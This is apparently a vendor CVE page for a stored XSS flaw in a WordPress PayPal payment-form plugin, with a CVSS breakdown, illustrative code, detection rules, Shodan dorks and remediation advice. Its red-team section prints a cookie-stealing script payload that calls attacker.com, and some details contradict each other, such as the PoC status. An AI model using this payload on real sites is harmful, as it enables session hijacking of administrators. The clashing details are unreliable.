☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Codepeople logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 5.9 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-39562

CVE-2025-39562 Cross-Site Scripting in Codepeople
📅 PUBLISHED: 2025-04-17 15:46 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.17%
👁️
0.17% probability
4.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 5.9
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
5.9
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-39562 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Payment Form for PayPal Pro by Codepeople. The vulnerability exists in versions up to and including 1.1.72. An authenticated attacker with contributor-level privileges or higher can inject malicious JavaScript into the payment form fields. When an administrator or other user views the form submissions or the form configuration page, the injected script executes in their browser session. This can lead to session hijacking, credential theft, or defacement. The CVSS score is 5.9 (Medium), and no public exploit code or patch is currently available. The plugin is part of the WordPress ecosystem, and the vulnerability is not related to the underlying web server (Apache/Nginx).

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor the plugin’s update channel and apply any security patches as soon as they are released. Since the plugin is not an NPM, PyPI, Go, or Ruby package, no additional supply chain analysis is required.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
  • Base Score: 5.9 (Medium)
  • Attack Vector (AV): Network – The vulnerability is exploitable remotely.
  • Attack Complexity (AC): Low – No special conditions are required.
  • Privileges Required (PR): Low – An attacker needs contributor-level access to the WordPress site.
  • User Interaction (UI): Required – The victim (admin) must view the malicious form data.
  • Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
  • Confidentiality (C): Low – Limited data exposure possible.
  • Integrity (I): Low – Limited ability to modify data.
  • Availability (A): Low – Limited impact on availability.

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the stored XSS nature can lead to privilege escalation if an admin views the payload.

Deep Dive & Mechanics

The vulnerability resides in the payment-form-for-paypal-pro plugin. The plugin fails to properly sanitize user-supplied input in the payment form fields (e.g., customer name, email, or custom notes). When an attacker with contributor-level access submits a form containing malicious JavaScript, the payload is stored in the WordPress database. When an administrator or other privileged user views the form submissions (e.g., via the admin dashboard), the unsanitized payload is rendered in the browser, executing the attacker’s script.

Root Cause: The plugin uses echo or similar output functions without applying WordPress’s escaping functions like esc_html() or wp_kses_post() on the stored data.

Attack Flow:

  1. Attacker logs in as a contributor.
  2. Attacker submits a payment form with a payload in a text field, e.g., <script>alert('XSS')</script>.
  3. The payload is stored in the database.
  4. Admin navigates to the form submissions page.
  5. The plugin outputs the stored data without sanitization.
  6. The browser executes the script.

Vulnerable vs. Patched Code

Vulnerable Code (<= 1.1.72):

// In a file like payment-form-for-paypal-pro.php or admin-display.php
echo '<td>' . $submission_data['customer_name'] . '</td>';

Patched Code (Hypothetical):

echo '<td>' . esc_html( $submission_data['customer_name'] ) . '</td>';

The patched version would use esc_html() to neutralize any HTML or JavaScript before output.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A WordPress site with the vulnerable plugin installed and activated.
  • A contributor-level account.

Steps:

  1. Log in as a contributor.
  2. Navigate to the payment form page.
  3. In a text field (e.g., "Customer Name"), enter the following payload:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  4. Submit the form.
  5. Wait for an admin to view the submissions page.

Expected Outcome: The admin’s session cookie is exfiltrated to the attacker’s server.

Blue Team (Detection & Hardening)

Detection:

  • Monitor for unusual form submissions containing <script> tags or event handlers.
  • Use a Web Application Firewall (WAF) to block common XSS patterns.
  • Implement Content Security Policy (CSP) headers to restrict script execution.

Hardening:

  • Update the plugin to the latest patched version once available.
  • Restrict contributor-level access to trusted users only.
  • Use WordPress security plugins that add input validation and output escaping.

Indicators of Compromise (IOCs)

  • Network: Outbound HTTP requests to unknown domains from the WordPress admin interface.
  • File: Modified plugin files (though unlikely in this stored XSS case).
  • Database: Entries in the wp_postmeta or custom plugin tables containing <script> tags.
  • Logs: WordPress debug logs showing unexpected output or errors related to the plugin.

Example IOC in Database:

SELECT * FROM wp_postmeta WHERE meta_value LIKE '%<script>%';

Detection Engineering

YARA Rule

rule CVE_2025_39562_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Payment Form for PayPal Pro plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-39562"
    strings:
        $payload = /<script[\s>]/ nocase
        $event_handler = /on\w+\s*=/ nocase
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in Payment Form for PayPal Pro
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS payloads in the plugin's form submissions
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-39562
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.response.body|contains:
            - '<script>'
            - 'onload='
            - 'onerror='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in form fields (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-39562 Stored XSS Payload Exfiltration"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=payment_form_submit"; http_client_body; pcre:"/<script[\s>]/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is available.
  2. Review and sanitize existing form submissions for malicious content.
  3. Restrict contributor roles to only trusted users.

Long-term Fix:

  • Apply the official patch from Codepeople once released.
  • Implement output escaping in all custom plugin code using esc_html(), esc_attr(), or wp_kses_post().

Workarounds:

  • Use a Web Application Firewall (WAF) with XSS rules.
  • Add a Content Security Policy (CSP) header: Content-Security-Policy: script-src 'self';

Valters IT Signature This report was generated by Valters IT DevSecOps AI. All information is provided for educational and defensive purposes only.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Payment Form for PayPal Pro"
http.html:"payment-form-for-paypal-pro"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-39562/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.